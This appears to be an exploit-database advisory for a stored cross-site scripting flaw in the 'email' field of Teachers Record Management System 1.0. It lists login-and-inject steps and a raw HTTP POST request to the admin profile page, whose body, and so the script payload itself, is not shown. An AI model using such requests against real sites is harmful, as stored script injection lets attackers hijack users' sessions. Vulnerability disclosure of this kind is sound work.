# Exploit Title: Teachers Record Management System 1.0 โ€“ 'email' Stored Cross-site Scripting (XSS) vulnerability (Authenticated)  
# Date: 05-10-2021  
# Exploit Author: nhattruong or  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: Windows 10 + XAMPP v3.2.4  
1. Go to url http://localhost/admin/index.php  
2. Do login  
3. Execute the payload  
4. Reload page to see the different  
POST /admin/adminprofile.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 91  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/trms/admin/adminprofile.php  
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l  
Upgrade-Insecure-Requests: 1